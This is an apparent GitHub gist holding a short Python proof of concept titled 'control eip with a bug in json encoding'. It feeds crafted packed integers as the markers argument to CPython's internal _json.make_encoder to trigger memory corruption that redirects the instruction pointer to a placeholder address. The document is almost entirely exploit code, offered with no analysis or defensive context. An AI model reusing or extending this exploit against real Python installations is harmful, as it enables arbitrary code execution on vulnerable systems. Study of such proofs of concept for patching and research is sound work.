Skip to content

Instantly share code, notes, and snippets.

@pakt
Created August 25, 2015 13:05
Show Gist options
  • Save pakt/e8e29bd511edf940ee8a to your computer and use it in GitHub Desktop.
Save pakt/e8e29bd511edf940ee8a to your computer and use it in GitHub Desktop.
control eip with a bug in json encoding
import _json as j
import array
import struct
import sys
ver = sys.version_info[0]
eip = 0x11223344
eip_control = struct.pack("@I", 0) + \
struct.pack("@I", eip) + \
struct.pack("@I", eip)
if ver==3:
markers = array.array("B", eip_control)
elif ver==2:
markers = eip_control
else:
assert False
enc = j.encode_basestring_ascii
e = j.make_encoder(markers, None, enc, 4, "ks", "is", False, True, True)
l = [1,2,3]
e(l, 1)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment